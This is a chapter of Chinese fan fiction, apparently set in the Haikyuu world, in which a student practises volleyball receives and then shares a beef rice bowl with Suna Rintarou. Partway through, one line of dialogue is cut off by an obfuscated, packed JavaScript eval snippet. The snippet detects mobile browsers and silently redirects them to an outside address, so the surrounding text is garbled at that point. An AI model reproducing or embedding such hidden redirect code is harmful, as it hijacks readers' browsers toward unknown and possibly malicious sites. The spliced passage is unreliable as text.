南见月微微下蹲压低重心,看着东小路发出的球在半空中划出一道高高的弧线砸向后场,根据球速和轨迹判断出落点,迅速移动到达位置。 虽说隔着十几米,但那颗黄蓝色的排球砸过来也不过几秒钟的事,整个过程必须要全神贯注。等球接近时,南见月迅速伸出手臂插入球下,同时通过蹬地发力将球向上送出。 其实南见月不太能把球送到某个非常精准的位置,所以在情况不允许的时候,她会给出一个相对较高的一传,方便二传能够主动调整位置进行托球。 当然东小路的球算是相对好接的,球被稳稳地垫到了二传常站的二号位正上方。 但南见月还来不及喘口气,下一个球就接踵而至。 在场的几人里,南见月最熟悉的自然是一直搭档的桃濑雪菜。 但如果是接发球的话,南见月最不想接的就是她的。 原因无它,桃濑的排球技术非常一般,她的发球可以用突发奇想来形容。在没有落地之前,连她自己都不知道会发到哪里。 再加上一些不太好的发球习惯,她发球时侧身幅度很大,几乎完全看不到发球的手部动作。 这次大概是力度不够,被发出的球飞到一半像是泄气一般突然改变了轨迹,直直地想在前场落下。 居然是一个极漂亮,球路诡异的飘球。 南见月来不及叹气就认命地前扑,她的身体贴着地板滑行,终于赶在落地之前用手掌将球与地板阻隔开来。 只是这一球给得又低又急,险险地过了网,放在比赛里也大概率是对方的机会球。 前扑要将重心压得极低,用双臂和手掌撑地作为缓冲,最后再通过滑行卸去力道。 虽然有佩戴护臂和护膝,但长时间、多次地进行前扑救球,手肘这种皮肉贴着骨骼的地方还是难以避免的火辣辣的痛。 而另一种救球方式——滚翻。则是利用倒地翻滚,扩大纵向的防守宽度达到目的。 当然,救到了球也没有结束。为了保护膝盖,需要侧过身体,用整个躯干的侧边着地来抵消球势。 多做几次就感觉是用柔软的身体与坚硬的地板硬碰硬,直到整个半边身体撞得发麻失去知觉。 以往南见月作为排球比赛的看客,只是惊叹于接一传的队员姿势灵活流畅,但真的自己来做的时候,其中的痛和累还是超乎想象。 班级之间的练习赛说到底只是学期课程的结业考试,她需要再排球上努力的时间至长不会超过两周。 看得到头的任务,南见月自然可以勉强接受。 但换做从小就要开始在这项充满痛苦和汗水的运动中,耗费数不清的时间和精力,南见月觉得自己果然还是没办法想象。 只是片刻的分神,来不及想太多,发过来的球就朝着她的面门飞来,南见月迅速后撤,继续将球垫起。 …… 上午的训练结束,她们需要将场馆打扫干净,交还给女排部使用。 拉伸的时候大家聚在一起聊天,几句话就熟络了起来。 “下午我还要参加部里的训练,大家如果有时间的话也可以自己联系哦,有需要随时联系我。” 花井琉奈身为稻荷崎女子排球部的部员,自然也要为不久之后的全国高中春季排球大赛做准备。 一上午的高强度训练让田径部出身,体力尚算不错的桃濑雪菜都不顾形象的躺在地上,闻言震惊地道:“小琉奈你下午还有部活啊!这样高强度的训练,不会受不了吗?” 花井琉奈抽出塞在短球裤里的毛巾。擦了擦手臂上的汗水,扬起笑容答道:“毕竟我现在确实不够强嘛,但我相信勤能补拙,一定……啊!请放心,我能行的,我从小到大都被妈妈说精力过剩呢。” 桃濑雪菜这才放心地点头,“诶?小南?” 南见月一动不动地低着头靠在墙角,从刚刚开始便不发一言。 桃濑雪菜担忧地去撩开她凌乱的刘海,对上了一双无神的眼睛。 “……你还好吗?” 南见月点点头又摇摇头,充分运动又拉伸完的肌肉正在体内发生着变化,酸痛的身体通过休息平复下来,运动后释放的内啡肽会让心情愉悦起来——总之,她处于某种心理轻松和身体疲累的平衡点。 她仔细感受了一下,最后捂住有些收缩感觉的胃部,“还好,就是有点饿。” 训练结束之后就是离开学校了,南见月挥手和桃濑告别之后就准备慢慢地走回去。 家里的午饭点已经过了,南见月看了看街对角,决定去藤本大叔那里吃饭。 她拿出手机回完古森的信息,随便找了个他发过来的救球教学视频点开看,时不时看看路,慢慢地往目的地行进。 众所周知,低头玩手机走路,很容易撞到人。 尤其是两个人都同时低头玩手机的情况下。 即便南见月发现了面前有一片阴影压下,但已经太晚了,对方步子迈的很大,两人撞了个正着。 来人穿着一件黑色短袖,领口处露出一截明显的锁骨。 换平常南见月注意不到。 但被迫埋胸,又被对方的锁骨撞疼额头的南见月痛呼一声,视线上移对上了一双狭长的狐狸眼。 “好巧。” 他摸了摸自己被撞红的锁骨,意味深长地看了眼一连后退三步的南见月,“幸好撞的是我。” 南见月面无表情,一半是饿的,一半是累的,“哦,都是过错方,扯平了。” 但凡他们两个中有一个不玩手机都撞不上。 “你去哪?” 角名伦太郎把一直停留在桌面的手机按熄揣进裤袋里,叫住绕过他准备继续前进的南见月。 南见月瞥他一眼,道:“去吃饭。” 角名伦太郎立即道:“我也要去吃饭,你有推荐的地方吗?” 南见月如实说了。 角名面上浮现出犹豫之色,他似乎好好考虑了一下,像是做出了什么决定一样,“那我也去吧。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591654|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你不是往那个方向来的吗?南见月觉得她目前见到的几位稻荷崎男子排球部里,角名绝对算除了北信介以外的难懂第一名。 “哦。” 两人于是一起往店里走去,南见月继续看视频。 角名个子高,随随便便就看到了她才看到东西,又想起今天早上宫侑宫治争论班上的练习赛谁输谁赢,他于是问道:“听治说你也要上场,早上是在训练吗?” 南见月点头,又把视频拖回去看了一遍。 两人一起到了店里。 正准备闭店午休的藤本大叔听见声音,从厨房探出头来。 “诶,是你啊?” “还带了朋友过来啊。” 南见月已经拉开椅子坐了下来,拉长声音问道:“还可以点餐吧,我要吃……” 藤本店长扯了扯嘴角,把刚脱下来的围裙又穿了回去,“点不了了,只有剩下的食材,我做什么你吃什么。” 南见月趴在桌子上,没力气与他争辩,“随便。” 随后藤本一改刚刚的“凶恶”表情,对着角名道:“小同学也一样可以吗,我随便做点,就不收你钱了。” 角名点头道谢,坐到了南见月对面。 他的目光落在南见月红红的手肘和手臂上,道:“训练能适应吗?你看起来很累的样子。” “还行吧。” 或许是趴着讲话,南见月的声音有些闷闷的。 “你不是关西人?感觉没什么关西口音。” 宫侑宫治、桃濑雪菜、北信介都是土生土长的关西人,但角名讲起话来慢慢悠悠的,音调也更平缓些。 角名伦太郎点点头,“我是爱知县人,是被稻荷崎挖角过来的。” 诶? 高中就有球探挖人了吗? 南见月撑起脸看他,“你确实挺厉害的,无论是排球技术还是一个人来其他地方打球这点。” “嗯……谢谢?你算是夸我吧?” “算啊,不过话说回来爱知县,听说那里的牛舌盖饭很有名。” 两人刚说起吃的,藤本就掀开门帘走了出来。 他把餐食从托盘里取出来摆到两人面前,道:“牛舌没有,牛肉还是可以的。” 他掀开绘有精美花纹的木质碗盖,一股浓郁的香气就毫无阻碍地释放出来。 是两碗牛肉盖饭。 运动结束之后,为了防止肌肉流失,需要及时补充蛋白质和碳水。 掀开碗盖,白雾般的热气缓缓升腾至眼前,琥珀色的甜咸酱汁在弯曲的牛肉片上积成小小的湖泊。 洋葱丝略微透明透明,裹着油光,和厚实的牛肉片一起簇拥在温泉蛋边上。 “谢谢店长。” 直到食物端到面前,南见月才感觉自己稍微恢复了些力气。 藤本回了休息室收拾东西。 南见月看了角名一眼,道:“虽然今天没有,不过我觉得可以跟藤本店长提一下上新的建议,牛舌盖饭。” 正在倒茶的角名眼睛里多了丝不明显的笑意,他点了点头,“嗯。” 两人开始安安静静地享受食物。 牛肉片边缘微焦的部分带着炙烤后的烟火气,咬下的瞬间便在舌面上铺开鲜香丰腴的河流。 酱汁裹着米饭和肉片入腹,无疑成为满足胃袋空虚感的最佳搭档。 “虽然很好吃,但是……” 南见月抬头看他,“嗯?” 角名伦太郎发出邀请,“关于上新,总要亲自去爱知试试看吧。” “我可以做你的向导,免费。”